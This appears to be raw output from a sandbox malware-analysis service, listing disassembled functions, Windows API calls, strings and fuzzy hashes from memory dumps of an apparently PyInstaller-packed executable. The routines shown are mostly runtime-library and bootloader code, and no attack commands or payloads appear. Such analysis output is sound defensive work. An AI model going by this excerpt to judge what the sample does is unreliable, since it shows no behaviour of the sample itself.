                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: free$EntryInterlockedListNamePush__unmallocstrcpy_s
                                                    • String ID:
                                                    • API String ID: 3741236498-0
                                                    • Opcode ID: de3a4ec1d6e9946eef6b348e6d8a6ead344041b39e9dfd9c2ce66c677152b10d
                                                    • Instruction ID: 3d26be1b26718e34d3df3b40e5f619e8ad4c512eb0aafd1f447980664ebcc35c
                                                    • Opcode Fuzzy Hash: de3a4ec1d6e9946eef6b348e6d8a6ead344041b39e9dfd9c2ce66c677152b10d
                                                    • Instruction Fuzzy Hash: 3F318125B19BA190EA219F27A8045796394FF0DFF4B5546B6DD2E037A0EE3DD862C300
                                                    Function 00007FF6399B8400 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6399B7B50: GetCurrentProcess.KERNEL32 ref: 00007FF6399B7B70
                                                      • Part of subcall function 00007FF6399B7B50: OpenProcessToken.ADVAPI32 ref: 00007FF6399B7B83
                                                      • Part of subcall function 00007FF6399B7B50: GetTokenInformation.ADVAPI32 ref: 00007FF6399B7BA8
                                                      • Part of subcall function 00007FF6399B7B50: GetLastError.KERNEL32 ref: 00007FF6399B7BB2
                                                      • Part of subcall function 00007FF6399B7B50: GetTokenInformation.ADVAPI32 ref: 00007FF6399B7BF2
                                                      • Part of subcall function 00007FF6399B7B50: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6399B7C0E
                                                      • Part of subcall function 00007FF6399B7B50: CloseHandle.KERNEL32 ref: 00007FF6399B7C26
                                                    • LocalFree.KERNEL32(?,00007FF6399B3814), ref: 00007FF6399B848C
                                                    • LocalFree.KERNEL32(?,00007FF6399B3814), ref: 00007FF6399B8495
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                    • String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
                                                    • API String ID: 6828938-1529539262
                                                    • Opcode ID: 795f95526d0a951be163d7ee57e77295e71c5006ab84a191c0455a0dace466c7
                                                    • Instruction ID: cf5a2a6b53f2efb6eccfc0ac2e03a34256d4f46bf319862f4e01472a21cdf172
                                                    • Opcode Fuzzy Hash: 795f95526d0a951be163d7ee57e77295e71c5006ab84a191c0455a0dace466c7
                                                    • Instruction Fuzzy Hash: 33212F22A0864292F610AF11E9552E962B6FF98780F4C4435EA4D87BDBDF3CD945DB80
                                                    Function 00007FF6399CA5D8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA5E7
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA61D
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA64A
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA65B
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA66C
                                                    • SetLastError.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA687
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: 5dcac91248c0014d458aec840eea87d8b317a92cf5de5997ea3edf93bd94a031
                                                    • Instruction ID: d0d6dfc03a0201b81b477cb8c7326a4229aa5e60da1a3ab539e8ef9ced94ed27
                                                    • Opcode Fuzzy Hash: 5dcac91248c0014d458aec840eea87d8b317a92cf5de5997ea3edf93bd94a031
                                                    • Instruction Fuzzy Hash: 47114A21E0A64246FA546F615F9517D62835F887B4F0C4734E93E867DFEE2CB8416F01
                                                    Function 00007FFE1A493AEC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: abort$CallEncodePointerTranslator
                                                    • String ID: MOC$RCC
                                                    • API String ID: 2889003569-2084237596
                                                    • Opcode ID: bc23f9d190e68b0d649da4772cf0aebac2cf99f7a7c8ea39b120ae49b64f19ea
                                                    • Instruction ID: 8230e9f9479d30c72e39cb688d84fa23afd8cf5ebcd74bff17a5b16ed90b549f
                                                    • Opcode Fuzzy Hash: bc23f9d190e68b0d649da4772cf0aebac2cf99f7a7c8ea39b120ae49b64f19ea
                                                    • Instruction Fuzzy Hash: 11916073B08B918AE760CB66E4402BD77B0F749B98F1441AAEA4E17765DF38E1B5C700
                                                    Function 00007FFE1A49BF20 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
                                                    • API String ID: 2943138195-757766384
                                                    • Opcode ID: e51d893b916fd38dc1e020bc8963aa6f83aa847b46c3d095f24d6897074767ca
                                                    • Instruction ID: 43777df5d2ff3aba63a2cf805add888c670e36c8aaba75d4cadcd66529f95497
                                                    • Opcode Fuzzy Hash: e51d893b916fd38dc1e020bc8963aa6f83aa847b46c3d095f24d6897074767ca
                                                    • Instruction Fuzzy Hash: C7717D76B08E5288E7348F1699510BD67A0BB08B94F4445F7DA5E43A78DF3CE670C704
                                                    Function 00007FFDFF19B304 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 156COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
                                                    • API String ID: 2943138195-757766384
                                                    • Opcode ID: 2022a5a444bb21080816af0d46441925073db637e58fa5fb142b52d3b2aac096
                                                    • Instruction ID: bdeac381f19c793bf121575361cfbf68b291c87d6d2cee7ee41f39235d794daf
                                                    • Opcode Fuzzy Hash: 2022a5a444bb21080816af0d46441925073db637e58fa5fb142b52d3b2aac096
                                                    • Instruction Fuzzy Hash: C7711762F08A0684E734CF2598649BC67A4BB45788F845739CA7D93AEDDF3DA3508780
                                                    Function 00007FFE1A4938D0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: abort$CallEncodePointerTranslator
                                                    • String ID: MOC$RCC
                                                    • API String ID: 2889003569-2084237596
                                                    • Opcode ID: 227e5baf7e5e9155f58c31c3fecc157e2e687fbe3eaaf077a93d355b17988fc2
                                                    • Instruction ID: de54a22374b29677aefac0ea9d896ebf40fab9b886f198351f3417ad610b17e4
                                                    • Opcode Fuzzy Hash: 227e5baf7e5e9155f58c31c3fecc157e2e687fbe3eaaf077a93d355b17988fc2
                                                    • Instruction Fuzzy Hash: F0612B32B08B458AE7308F66D4403BD77A0F749B98F1452AADE4E17BA9CF78E165C700
                                                    Function 00007FFDFF19CAA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: NameName::
                                                    • String ID: `template-parameter$void
                                                    • API String ID: 1333004437-4057429177
                                                    • Opcode ID: 48815828e915a994b8971b19c2f099341df2587ccb3d74520224cc3d3250014b
                                                    • Instruction ID: 486165f1a9fe01cbad4241987f3f1a476b38aa6cfb259ecd3efcccfb86d9dfc9
                                                    • Opcode Fuzzy Hash: 48815828e915a994b8971b19c2f099341df2587ccb3d74520224cc3d3250014b
                                                    • Instruction Fuzzy Hash: DE415E22F18A5688FB208F64D8616FC23B1BB44788F941235CE7D5779DDF789605C380
                                                    Function 00007FF6399B2300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
                                                    • String ID: Unhandled exception in script
                                                    • API String ID: 3081866767-2699770090
                                                    • Opcode ID: a6e7d290dc67b0bb036b84f18c740492a81528deb91c8b42bdc3829a80364304
                                                    • Instruction ID: cbaf5964c2b4139f0680a1699e72caa7d2f2fa6da66d69b672354178729cdca2
                                                    • Opcode Fuzzy Hash: a6e7d290dc67b0bb036b84f18c740492a81528deb91c8b42bdc3829a80364304
                                                    • Instruction Fuzzy Hash: CE315432A0968289EB20EF61E8552F97361FF89784F480135EA4D8BB9EDF3CD144DB00
                                                    Function 00007FF6399B2760 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message$ByteCharMultiWide
                                                    • String ID: %s%s: %s$Error$Error/warning (ANSI fallback)
                                                    • API String ID: 1878133881-640379615
                                                    • Opcode ID: 185a5ded7e4d76afdc6dde510c40398ff569d270283616bd23a067f5071c39f1
                                                    • Instruction ID: 1ac101d0c203c0f0ee4e8647d6ea34baa88638c2cf30ff0367ecb9b73be292d2
                                                    • Opcode Fuzzy Hash: 185a5ded7e4d76afdc6dde510c40398ff569d270283616bd23a067f5071c39f1
                                                    • Instruction Fuzzy Hash: E3216072A28A8681E6209F10F4917EA6365FF84784F440036EA8D837DEDF3CD645DF40
                                                    Function 00007FFDFF1FB9AC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00007FFDFF1FD348), ref: 00007FFDFF1FB9D1
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,00007FFDFF1FD348), ref: 00007FFDFF1FB9DD
                                                    • CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,?,00007FFDFF1FD348), ref: 00007FFDFF1FBA0F
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00007FFDFF1FD348), ref: 00007FFDFF1FBA30
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ConsoleWrite$CreateErrorFileLast
                                                    • String ID: CONOUT$
                                                    • API String ID: 10423688-3130406586
                                                    • Opcode ID: 76c0690a5f38e3fb71933b36578f39f0dd72d46225f44c5a2372f432d89c7dff
                                                    • Instruction ID: 5e86dee54450da8e71971c80a6e3be2d15ea04a3b05fca74977a1a4c96459b62
                                                    • Opcode Fuzzy Hash: 76c0690a5f38e3fb71933b36578f39f0dd72d46225f44c5a2372f432d89c7dff
                                                    • Instruction Fuzzy Hash: BE118E32B18A8292E7608F55E420B697360FB88B98F144235EABDC7798DF3DD854CB04
                                                    Function 00007FFDFF169EF4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressFreeHandleLibraryModuleProc
                                                    • String ID: CorExitProcess$mscoree.dll
                                                    • API String ID: 4061214504-1276376045
                                                    • Opcode ID: ebdc5ce941ada3ee0bdb9d3a4bad7befffe03455e032320c07659f8200b1bd67
                                                    • Instruction ID: 332406169f3b7c79e30275f66f411f7337815b28bbfbe583f8bb26a3acb22393
                                                    • Opcode Fuzzy Hash: ebdc5ce941ada3ee0bdb9d3a4bad7befffe03455e032320c07659f8200b1bd67
                                                    • Instruction Fuzzy Hash: FCF08162F18A0692FB244B24A434B396760EF94765F910335C97EC51ECDF3CD544C244
                                                    Function 00007FF6399C8DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressFreeHandleLibraryModuleProc
                                                    • String ID: CorExitProcess$mscoree.dll
                                                    • API String ID: 4061214504-1276376045
                                                    • Opcode ID: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
                                                    • Instruction ID: bd442139d12027af41234eff1224d6e8efdc2ca9556a65d28593d80223d23157
                                                    • Opcode Fuzzy Hash: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
                                                    • Instruction Fuzzy Hash: 5FF06231A1970782EA108F25E8843795322AF49BA1F5C1635C56D867F9CF2CD089EF10
                                                    Function 00007FFE14634088 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: BuildDeallocErr_ObjectSizeValue_
                                                    • String ID: (is)$host not found
                                                    • API String ID: 3413694139-3306034047
                                                    • Opcode ID: 40dd804683fed52d173e9af2f9a1aa8debd6ed98485109b5513a4460bce29ed2
                                                    • Instruction ID: 0394f501db8a66a9302324735603a7441c221610e3bdde281c23a9c7a70277be
                                                    • Opcode Fuzzy Hash: 40dd804683fed52d173e9af2f9a1aa8debd6ed98485109b5513a4460bce29ed2
                                                    • Instruction Fuzzy Hash: C5E0ED61F05E8781EE158B63A8D40B523E0AF4AB78B0444B5C90E4B375EF3CE84D8390
                                                    Function 00007FFDFF1C90C4 Relevance: 7.8, APIs: 5, Instructions: 345COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 00007FFDFF1C918E
                                                    • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 00007FFDFF1C92AD
                                                    • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 00007FFDFF1C93BF
                                                    • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 00007FFDFF1C9447
                                                    • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 00007FFDFF1C951B
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ByteCharMultiWide$Info
                                                    • String ID:
                                                    • API String ID: 1775632426-0
                                                    • Opcode ID: a536099994c9a02e280a6c8b47aea5c77f07511dcf346a44e520efcc36e6ff81
                                                    • Instruction ID: b34d0e73628adeeecc87ae6ea43f68bec2a7306553b1347bfadaae6fc621067a
                                                    • Opcode Fuzzy Hash: a536099994c9a02e280a6c8b47aea5c77f07511dcf346a44e520efcc36e6ff81
                                                    • Instruction Fuzzy Hash: 7DD19A63F0868285FB745E2480B5ABD6B93AF40BA4FD45336D97D06ACDDF2DE8808601
                                                    Function 00007FFDFF1515FC Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 136COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,00007FFDFF151538), ref: 00007FFDFF151675
                                                    • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,00007FFDFF151538), ref: 00007FFDFF1516D8
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ByteCharMultiWide
                                                    • String ID: *$*
                                                    • API String ID: 626452242-3771216468
                                                    • Opcode ID: 4c7eb9a8f46dd6872076826cf0e70afbeeb641dcb011120a0e158aac90409ae9
                                                    • Instruction ID: 5b54c5a850c6d5a808b7031c61355c8023a098b4611dfcd0e2c1e7ba973f0984
                                                    • Opcode Fuzzy Hash: 4c7eb9a8f46dd6872076826cf0e70afbeeb641dcb011120a0e158aac90409ae9
                                                    • Instruction Fuzzy Hash: FD516717F0874252FB769A5891F0C3C63A1AB54780F6C0336D97C26AEEDF7CA9A14602
